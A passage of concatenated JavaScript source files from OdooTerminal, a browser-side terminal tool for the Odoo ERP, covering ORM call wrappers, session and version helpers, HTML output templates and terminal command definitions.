(http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import hash from 'object-hash'; 7 | import searchRead from '@odoo/orm/search_read'; 8 | import type {SearchReadOptions} from '@odoo/orm/search_read'; 9 | 10 | export type CacheSearchReadOptions = { 11 | force: boolean, 12 | }; 13 | 14 | // $FlowFixMe 15 | export type CachedSearchReadMapCallback = (item: Object) => Array; 16 | 17 | // $FlowFixMe 18 | const cache: {[string]: Array} = {}; 19 | export default async function ( 20 | cache_name: string, 21 | model: string, 22 | domain: $ReadOnlyArray, 23 | fields: $ReadOnlyArray | false, 24 | context: {[string]: mixed}, 25 | options: ?CacheSearchReadOptions, 26 | extra_params: ?Partial, 27 | map_func: ?CachedSearchReadMapCallback, 28 | // $FlowFixMe 29 | ): Promise> { 30 | const cache_hash = hash(Array.from(arguments).slice(0, 6)); 31 | if (options?.force === true || !Object.hasOwn(cache, cache_hash)) { 32 | let records: Array = []; 33 | try { 34 | records = await searchRead(model, domain, fields, context, extra_params || {}, {'silent': true}); 35 | } catch (_err) { 36 | // Do nothing 37 | } 38 | if (map_func) { 39 | cache[cache_hash] = records.map(map_func); 40 | } else { 41 | cache[cache_hash] = records; 42 | } 43 | } 44 | return cache[cache_hash]; 45 | } 46 | -------------------------------------------------------------------------------- /src/js/page/odoo/net_utils/get_session_info.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import cachedCallModelMulti from './cached_call_model_multi'; 6 | 7 | export default function (): Promise { 8 | return cachedCallModelMulti( 9 | 'ir_http.session_info', 10 | 'ir.http', 11 | [0], 12 | 'session_info' 13 | ); 14 | } 15 | -------------------------------------------------------------------------------- /src/js/page/odoo/net_utils/get_uid.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getSessionInfo from './get_session_info'; 6 | import getOdooSession from '@odoo/utils/get_odoo_session'; 7 | import getOdooUser from '@odoo/utils/get_odoo_user'; 8 | 9 | // Odoo deletes the 'uid' key in Odoo >17.0, we store it for future reference. 10 | let cachedUID = -1; 11 | export default async function (use_net: boolean = false): Promise { 12 | const uid = getOdooSession()?.uid || getOdooSession()?.user_id; 13 | if (typeof uid === 'number') { 14 | cachedUID = uid; 15 | } else if (uid instanceof Array) { 16 | cachedUID = uid[0]; 17 | } else if (getOdooUser()?.userId) { 18 | cachedUID = getOdooUser()?.userId || -1; 19 | } else if (use_net) { 20 | const session_info = await getSessionInfo(); 21 | if (typeof session_info?.uid === 'number') { 22 | cachedUID = session_info.uid; 23 | } 24 | } else if (getOdooSession()?.storeData?.Store?.self.id) { 25 | cachedUID = getOdooSession()?.storeData?.Store?.self?.id || -1; 26 | if (cachedUID !== -1) { 27 | --cachedUID; 28 | } 29 | } 30 | return cachedUID; 31 | } 32 | -------------------------------------------------------------------------------- /src/js/page/odoo/net_utils/get_username.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getSessionInfo from './get_session_info'; 6 | import getOdooSession from '@odoo/utils/get_odoo_session'; 7 | 8 | export default async function (use_net: boolean = false): Promise { 9 | let username = getOdooSession()?.username; 10 | if (typeof username === 'string') { 11 | return username; 12 | } 13 | if (use_net) { 14 | const session_info = await getSessionInfo(); 15 | if (typeof session_info?.username === 'string') { 16 | return session_info.username; 17 | } 18 | } 19 | 20 | username = getOdooSession()?.partner_display_name; 21 | if (typeof username === 'string') { 22 | const name_parts = username.split(',', 2); 23 | if (name_parts.length === 2) { 24 | return name_parts[1]; 25 | } 26 | } 27 | return ''; 28 | } 29 | -------------------------------------------------------------------------------- /src/js/page/odoo/orm/create_record.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import callModel from '@odoo/osv/call_model'; 6 | import getOdooVersion from '@odoo/utils/get_odoo_version'; 7 | 8 | export default function (model: string, records: $ReadOnlyArray<{...}>, context: ?{[string]: mixed}, options: ?{[string]: mixed}): Promise> { 9 | const OdooVerMajor = getOdooVersion('major'); 10 | if (typeof OdooVerMajor === 'number' && OdooVerMajor < 13) { 11 | const proms = records.map(record => callModel>(model, 'create', [record], undefined, context, options)); 12 | // $FlowFixMe 13 | return Promise.all(proms); 14 | } 15 | return callModel(model, 'create', [records], null, context, undefined, options); 16 | } 17 | -------------------------------------------------------------------------------- /src/js/page/odoo/orm/get_fields_info.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import callModel from '@odoo/osv/call_model'; 6 | 7 | // $FlowFixMe 8 | export default function ( 9 | model: string, 10 | fields: $ReadOnlyArray | false, 11 | context: ?{[string]: mixed}, 12 | options: ?{[string]: mixed}, 13 | // $FlowFixMe 14 | ): Promise<{[string]: Object}> { 15 | // $FlowFixMe 16 | return callModel<{[string]: Object}>(model, 'fields_get', [fields], null, context, options); 17 | } 18 | -------------------------------------------------------------------------------- /src/js/page/odoo/orm/search_count.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import callModel from '@odoo/osv/call_model'; 6 | 7 | export default function (model: string, domain: $ReadOnlyArray, context: ?{[string]: mixed}, options: ?{[string]: mixed}): Promise { 8 | return callModel(model, 'search_count', [domain], null, context, options); 9 | } 10 | -------------------------------------------------------------------------------- /src/js/page/odoo/orm/search_read.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import callModel from '@odoo/osv/call_model'; 6 | 7 | export type SearchReadOptions = { 8 | orderBy: string, 9 | limit: number, 10 | offset: number, 11 | }; 12 | 13 | export default function ( 14 | model: string, 15 | domain: $ReadOnlyArray, 16 | fields: $ReadOnlyArray | false, 17 | context: ?{[string]: mixed}, 18 | extra_params: ?Partial, 19 | options: ?{[string]: mixed}, 20 | ): Promise> { 21 | return callModel(model, 'search_read', [domain], null, context, Object.assign({ 22 | fields: fields, 23 | orderBy: options?.orderBy, 24 | limit: options?.limit, 25 | offset: options?.offset, 26 | }, extra_params), 27 | options); 28 | } 29 | -------------------------------------------------------------------------------- /src/js/page/odoo/orm/unlink_record.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import callModel from '@odoo/osv/call_model'; 6 | 7 | export default function (model: string, ids: $ReadOnlyArray, context: ?{[string]: mixed}, options: ?{[string]: mixed}): Promise<> { 8 | return callModel(model, 'unlink', [ids], null, context, undefined, options); 9 | } 10 | -------------------------------------------------------------------------------- /src/js/page/odoo/orm/write_record.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import callModel from '@odoo/osv/call_model'; 6 | 7 | export default function (model: string, ids: $ReadOnlyArray, data: {...}, context: ?{[string]: mixed}, options: ?{[string]: mixed}): Promise<> { 8 | return callModel(model, 'write', [ids, data], null, context, undefined, options); 9 | } 10 | -------------------------------------------------------------------------------- /src/js/page/odoo/osv/call_model.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import rpcQuery from '@odoo/rpc'; 6 | import type {BuildQueryOptions} from '@odoo/rpc'; 7 | 8 | export default async function ( 9 | model: string, 10 | method: string, 11 | args: ?$ReadOnlyArray, 12 | kwargs: ?{[string]: mixed}, 13 | context: ?{[string]: mixed}, 14 | extra_params: ?{[string]: mixed}, 15 | options: ?{[string]: mixed}, 16 | ): Promise { 17 | const skwargs = Object.assign( 18 | { 19 | context: context, 20 | }, 21 | kwargs, 22 | ); 23 | const params: Partial = { 24 | method: method, 25 | model: model, 26 | args: args || [], 27 | kwargs: skwargs, 28 | }; 29 | return await rpcQuery(Object.assign(params, extra_params), options); 30 | } 31 | -------------------------------------------------------------------------------- /src/js/page/odoo/osv/call_model_multi.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import rpcQuery from '@odoo/rpc'; 6 | 7 | export default function ( 8 | model: string, 9 | ids: $ReadOnlyArray, 10 | method: string, 11 | args: ?$ReadOnlyArray, 12 | kwargs: ?{[string]: mixed}, 13 | context: ?{[string]: mixed}, 14 | extra_options: ?{[string]: mixed}, 15 | ): Promise { 16 | const skwargs = Object.assign( 17 | { 18 | context: context, 19 | }, 20 | kwargs, 21 | ); 22 | const sargs = [ids, ...(args || [])]; 23 | return rpcQuery( 24 | Object.assign( 25 | { 26 | method: method, 27 | model: model, 28 | args: sargs, 29 | kwargs: skwargs, 30 | }, 31 | extra_options, 32 | ), 33 | ); 34 | } 35 | -------------------------------------------------------------------------------- /src/js/page/odoo/osv/call_service.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import rpcQuery from '@odoo/rpc'; 6 | 7 | export default function (service: string, method: string, args: ?$ReadOnlyArray): Promise { 8 | return rpcQuery({ 9 | route: '/jsonrpc', 10 | params: { 11 | service: service, 12 | method: method, 13 | args: args, 14 | }, 15 | }); 16 | } 17 | -------------------------------------------------------------------------------- /src/js/page/odoo/templates/metadata.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default function ( 9 | create_uid: number, 10 | create_date: string, 11 | write_uid: number, 12 | write_date: string, 13 | noupdate: boolean, 14 | xmlid: string, 15 | ): string { 16 | return ( 17 | `${i18n.t('odoo.templates.metadata.createUID', 'Create UID')}: ${create_uid}
` + 18 | `${i18n.t('odoo.templates.metadata.createDate', 'Create Date')}: ${create_date}
` + 19 | `${i18n.t('odoo.templates.metadata.writeUID', 'Write UID')}: ${write_uid}
` + 20 | `${i18n.t('odoo.templates.metadata.writeDate', 'Write Date')}: ${write_date}
` + 21 | `${i18n.t('odoo.templates.metadata.noUpdate', 'No Update')}: ${noupdate ? i18n.t('Yes', 'Yes') : i18n.t('No', 'No')}
` + 22 | `${i18n.t('odoo.templates.metadata.xmlID', 'XML-ID')}: ${xmlid}` 23 | ); 24 | } 25 | -------------------------------------------------------------------------------- /src/js/page/odoo/templates/record_created.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default function (model: string, new_ids: $ReadOnlyArray): string { 9 | const links = new_ids?.map( 10 | nid => `${nid}`, 11 | ); 12 | return i18n.t('odoo.templates.recordCreated.sucess', '{{model}} record(s) created successfully: {{- links}}', { 13 | model: model, 14 | links: links.join(', '), 15 | }); 16 | } 17 | -------------------------------------------------------------------------------- /src/js/page/odoo/templates/welcome.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (ver: string): string { 6 | return `OdooTerminal v${ver}`; 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/odoo/templates/whoami.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default function ( 9 | login: string, 10 | display_name: string, 11 | user_id: number, 12 | partner: OdooMany2One, 13 | company: OdooMany2One, 14 | companies: $ReadOnlyArray, 15 | groups: $ReadOnlyArray, 16 | ): string { 17 | return ( 18 | `${i18n.t('odoo.templates.whoami.login', 'Login')}: ${login}
` + 19 | `${i18n.t('odoo.templates.whoami.user', 'User')}: ${display_name} (#${user_id})
` + 20 | `${i18n.t('odoo.templates.whoami.partner', 'Partner')}: ${partner[1]} (#${partner[0]})
` + 21 | `${i18n.t('odoo.templates.whoami.activeCompany', 'Active Company')}: ${company[1]} (#${company[0]})
` + 22 | `${i18n.t('odoo.templates.whoami.inCompanies', 'In Companies')}: ${companies.join('')}
` + 23 | `${i18n.t('odoo.templates.whoami.inGroups', 'In Groups')}: ${groups.join()}` 24 | ); 25 | } 26 | -------------------------------------------------------------------------------- /src/js/page/odoo/templates/whoami_group_item.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (name: string, model: string, id: number): string { 6 | return `
\u00A0\u00A0- ${name} (#${id})`; 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_content.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooService from './get_odoo_service'; 6 | import save2file from '@terminal/utils/save2file'; 7 | 8 | export type GetContentOnErrorCallback = (error: {[string]: mixed}) => void; 9 | 10 | function getFilenameFromContentDisposition(content_disposition: string | null): string | null { 11 | if (typeof content_disposition !== 'string') { 12 | return null; 13 | } 14 | try { 15 | const filename_regex = /filename[^;=\n]*=((['"]).*?\2|[^;\n]*)/i; 16 | const matches = content_disposition.match(filename_regex); 17 | if (!matches || matches.length < 1) { 18 | return null; 19 | } 20 | let filename = matches[1].replace(/['"]/g, ''); 21 | // TODO: Support more charsets? 22 | if (filename.startsWith('UTF-8')) { 23 | const utf8_match = content_disposition.match(/filename\*=UTF-8''(.+?)(?:;|$)/i); 24 | if (utf8_match && utf8_match[1]) { 25 | filename = decodeURIComponent(utf8_match[1]); 26 | } 27 | } else { 28 | filename = decodeURIComponent(filename); 29 | } 30 | 31 | return filename.trim() || null; 32 | } catch (error) { 33 | console.error('Error parsing Content-Disposition:', error); 34 | } 35 | return null; 36 | } 37 | 38 | export default async function (data_opts: {[string]: mixed}, onerror: GetContentOnErrorCallback): Promise { 39 | const data = Object.assign({}, data_opts, { 40 | csrf_token: odoo.csrf_token, 41 | download: true, 42 | data: getOdooService('web.utils')?.is_bin_size(data_opts.data) ? null : data_opts.data, 43 | }); 44 | const search_data = new URLSearchParams(); 45 | for (const [key, value] of Object.entries(data)) { 46 | search_data.append(key, value); 47 | } 48 | 49 | try { 50 | const response = await fetch('/web/content', { 51 | method: 'POST', 52 | body: search_data, 53 | }); 54 | const filename = getFilenameFromContentDisposition(response.headers.get('Content-Disposition')); 55 | const mime = response.headers.get("content-type") || 'text/plain'; 56 | // $FlowFixMe 57 | return save2file(filename || 'unnamed', mime, await response.bytes()); 58 | } catch (err) { 59 | onerror(err); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_odoo_env.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooRoot from './get_odoo_root'; 6 | 7 | const defSymbol = Symbol.for('default'); 8 | // $FlowFixMe 9 | export default function (): Object { 10 | const root = getOdooRoot(); 11 | if (Object.hasOwn(root, 'env')) { 12 | return root.env; 13 | } else if (Object.hasOwn(root, defSymbol)) { 14 | return root[defSymbol]; 15 | } 16 | return root; 17 | } 18 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_odoo_env_service.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import getOdooEnv from './get_odoo_env'; 8 | 9 | // $FlowFixMe 10 | export default function (service_name: string): Object { 11 | const {services} = getOdooEnv(); 12 | if (!Object.hasOwn(services, service_name)) { 13 | throw new Error(i18n.t('getOdooEnvService.error', "Service '{{service_name}}' is not available", {service_name})); 14 | } 15 | return services[service_name]; 16 | } 17 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_odoo_root.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import getOdooService from './get_odoo_service'; 8 | 9 | export default function (): OdooRoot { 10 | const root_obj = getOdooService('root.widget', 'web.web_client', '@web/legacy/js/env'); 11 | let root; 12 | // This is necessary for master branch, public pages. 13 | if (typeof root_obj === 'undefined' || root_obj.constructor === Promise) { 14 | root = odoo?.__WOWL_DEBUG__?.root; 15 | } else { 16 | root = root_obj; 17 | } 18 | 19 | if (typeof root === 'undefined') { 20 | throw new Error( 21 | i18n.t('odoo.error.notRoot', 'Cannot find root object') 22 | ); 23 | } 24 | return root; 25 | } 26 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_odoo_service.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | function getOrigService(serv_name: string) { 6 | if (odoo.__DEBUG__) { 7 | return odoo.__DEBUG__.services[serv_name]; 8 | } 9 | return odoo.loader.modules.get(serv_name); 10 | } 11 | 12 | // $FlowFixMe 13 | const service_cache: {[Array]: OdooService} = {}; 14 | // $FlowFixMe 15 | export default function (...service_names: Array): OdooService | void { 16 | const service_names_set = Array.from(new Set(service_names)); 17 | if (Object.hasOwn(service_cache, service_names_set)) { 18 | return service_cache[service_names_set]; 19 | } 20 | const service_name = Array.from(service_names_set).find( 21 | sname => Object.hasOwn(odoo?.__DEBUG__?.services || {}, sname) || odoo?.loader?.modules?.has(sname), 22 | ); 23 | if (typeof service_name !== 'undefined' && service_name !== '') { 24 | const service = getOrigService(service_name); 25 | service_cache[service_names_set] = service; 26 | return service; 27 | } 28 | return undefined; 29 | } 30 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_odoo_session.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooService from './get_odoo_service'; 6 | 7 | let cachedSession; 8 | export default function (): OdooSession | void { 9 | const sess_obj = getOdooService('web.session', '@web/session'); 10 | if (!sess_obj) { 11 | cachedSession = odoo.session_info || odoo.info; 12 | } else if (Object.hasOwn(sess_obj, 'session')) { 13 | cachedSession = sess_obj.session; 14 | } 15 | return cachedSession || sess_obj; 16 | } 17 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_odoo_user.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooService from './get_odoo_service'; 6 | 7 | export default function (): UserService | void { 8 | const user_obj = getOdooService('@web/core/user'); 9 | if (!user_obj) { 10 | return undefined; 11 | } 12 | if (Object.hasOwn(user_obj, 'user')) { 13 | return user_obj.user; 14 | } 15 | return user_obj; 16 | } 17 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_odoo_version.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooSession from './get_odoo_session'; 6 | import sanitizeOdooVersion from '@common/utils/sanitize_odoo_version'; 7 | import isEmpty from '@trash/utils/is_empty'; 8 | 9 | export type OdooVersionInfo = { 10 | raw: string, 11 | major: number, 12 | minor: number, 13 | }; 14 | 15 | const cache: Partial = {}; 16 | export default function (type: 'raw' | 'major' | 'minor' = 'raw'): string | number | void { 17 | if (isEmpty(cache)) { 18 | let raw: string; 19 | const odoo_sess_ver = getOdooSession()?.server_version; 20 | if (odoo_sess_ver !== null && typeof odoo_sess_ver === 'string') { 21 | raw = odoo_sess_ver; 22 | } else { 23 | raw = window.__OdooTerminal?.raw_server_info.serverVersion.raw; 24 | } 25 | if (!raw) { 26 | return; 27 | } 28 | const raw_split = sanitizeOdooVersion(raw)?.split('.'); 29 | if (raw_split) { 30 | Object.assign(cache, { 31 | raw: raw, 32 | major: Number(raw_split[0]), 33 | minor: Number(raw_split[1]), 34 | }); 35 | } else { 36 | Object.assign(cache, { 37 | raw: raw, 38 | major: -1, 39 | minor: -1, 40 | }); 41 | } 42 | } 43 | return cache[type]; 44 | } 45 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_odoo_version_info.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooSession from './get_odoo_session'; 6 | 7 | export default function (): $ReadOnlyArray | void { 8 | const serv_info = getOdooSession()?.server_version_info; 9 | if (serv_info === null || !(serv_info instanceof Array)) { 10 | return window.__OdooTerminal?.raw_server_info.serverVersionInfo; 11 | } 12 | return serv_info; 13 | } 14 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_owl_version_major.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (): number { 6 | return Number(owl.__info__.version.split('.')[0]); 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_parent_adapter.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooEnv from '@odoo/utils/get_odoo_env'; 6 | import getOdooVersion from './get_odoo_version'; 7 | import getOwlVersionMajor from './get_owl_version_major'; 8 | import getOdooService from './get_odoo_service'; 9 | import getOdooRoot from './get_odoo_root'; 10 | 11 | // $FlowFixMe 12 | export default function (): Object { 13 | const OdooVerMajor = getOdooVersion('major'); 14 | if (typeof OdooVerMajor === 'number') { 15 | if (OdooVerMajor >= 15) { 16 | const owl_ver = getOwlVersionMajor(); 17 | const owl_compat_obj = getOdooService('web.OwlCompatibility'); 18 | if (typeof owl_compat_obj !== 'undefined') { 19 | if (owl_ver === 1) { 20 | // $FlowIgnore 21 | const {Component} = owl; 22 | const {ComponentAdapter} = owl_compat_obj; 23 | return new ComponentAdapter(null, {Component}); 24 | } else if (owl_ver === 2) { 25 | // $FlowIgnore 26 | const {Component} = owl; 27 | const {standaloneAdapter} = owl_compat_obj; 28 | return standaloneAdapter({Component}); 29 | } 30 | } 31 | } else if (OdooVerMajor >= 14) { 32 | return getOdooRoot(); 33 | } 34 | } 35 | return getOdooEnv(); 36 | } 37 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_url_info.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (section: string, key: string): string | void { 6 | const data = Object.fromEntries( 7 | window.location[section] 8 | .substr(1) 9 | .split('&') 10 | .map(item => item.split('=')), 11 | ); 12 | return data[key]; 13 | } 14 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/get_user_tz.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooSession from './get_odoo_session'; 6 | 7 | export default function (): string | void { 8 | // $FlowIgnore 9 | return getOdooSession()?.user_context?.tz || luxon?.Settings?.defaultZoneName; 10 | } 11 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/is_backoffice.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooSession from './get_odoo_session'; 6 | 7 | let isBackoffice = null; 8 | export default function (): boolean { 9 | if (isBackoffice === null) { 10 | const odoo_sess = getOdooSession(); 11 | if (typeof odoo_sess !== 'undefined' && Object.hasOwn(odoo_sess, "is_frontend")) { 12 | isBackoffice = !odoo_sess.is_frontend; 13 | } else { 14 | isBackoffice = document.querySelector("head script[src*='assets_frontend']") === null; 15 | } 16 | } 17 | return isBackoffice; 18 | } 19 | -------------------------------------------------------------------------------- /src/js/page/odoo/utils/is_public_user.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooSession from './get_odoo_session'; 6 | 7 | export default function (): boolean { 8 | const is_web_user = getOdooSession()?.is_website_user; 9 | if (is_web_user === null || typeof is_web_user !== 'boolean') { 10 | return false; 11 | } 12 | return is_web_user; 13 | } 14 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/__all__.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | import cmdAlias from './alias'; 5 | import cmdChrono from './chrono'; 6 | import cmdClear from './clear'; 7 | import cmdContextTerm from './context_term'; 8 | import cmdDis from './dis'; 9 | import cmdExportVar from './exportvar'; 10 | import cmdGenFile from './genfile'; 11 | import cmdHelp from './help'; 12 | import cmdJobs from './jobs'; 13 | import cmdLoad from './load'; 14 | import cmdPrint from './print'; 15 | import cmdToggleTerm from './toggle_term'; 16 | import cmdInput from './input'; 17 | import cmdRun from './run'; 18 | import type VMachine from '@trash/vmachine'; 19 | 20 | export default function (vm: VMachine) { 21 | vm.registerCommand('help', cmdHelp()); 22 | vm.registerCommand('clear', cmdClear()); 23 | vm.registerCommand('print', cmdPrint()); 24 | vm.registerCommand('load', cmdLoad()); 25 | vm.registerCommand('context_term', cmdContextTerm()); 26 | vm.registerCommand('alias', cmdAlias()); 27 | vm.registerCommand('exportvar', cmdExportVar()); 28 | vm.registerCommand('chrono', cmdChrono()); 29 | vm.registerCommand('jobs', cmdJobs()); 30 | vm.registerCommand('toggle_term', cmdToggleTerm()); 31 | vm.registerCommand('dis', cmdDis()); 32 | vm.registerCommand('genfile', cmdGenFile()); 33 | vm.registerCommand('input', cmdInput()); 34 | vm.registerCommand('run', cmdRun()); 35 | } 36 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/chrono.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 9 | import type Terminal from '@terminal/terminal'; 10 | 11 | async function cmdChrono(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext): Promise { 12 | let time_elapsed_secs = -1; 13 | const start_time = new Date().getTime(); 14 | await this.execute(kwargs.cmd, false); 15 | time_elapsed_secs = (new Date().getTime() - start_time) / 1000.0; 16 | ctx.screen.print( 17 | i18n.t('cmdChrono.result.timeElapsed', "Time elapsed: '{{time_elapsed_secs}}' seconds", {time_elapsed_secs}), 18 | ); 19 | return time_elapsed_secs; 20 | } 21 | 22 | export default function (): Partial { 23 | return { 24 | definition: i18n.t('cmdChrono.definition', 'Print the time expended executing a command'), 25 | callback: cmdChrono, 26 | detail: i18n.t( 27 | 'cmdChrono.detail', 28 | 'Print the elapsed time in seconds to execute a command. ' + 29 | '
Notice that this time includes the time to format the result!', 30 | ), 31 | args: [[ARG.String, ['c', 'cmd'], true, i18n.t('cmdChrono.args.cmd', 'The command to run')]], 32 | example: "-c 'search res.partner'", 33 | }; 34 | } 35 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/clear.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 9 | import type Terminal from '@terminal/terminal'; 10 | 11 | async function cmdClear(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext): Promise { 12 | if (kwargs.section === 'history') { 13 | this.cleanInputHistory(); 14 | } else { 15 | ctx.screen.clean(); 16 | } 17 | } 18 | 19 | export default function (): Partial { 20 | return { 21 | definition: i18n.t('cmdClear.definition', 'Clean terminal section'), 22 | callback: cmdClear, 23 | detail: i18n.t('cmdClear.detail', 'Clean the selected section'), 24 | args: [ 25 | [ 26 | ARG.String, 27 | ['s', 'section'], 28 | false, 29 | i18n.t( 30 | 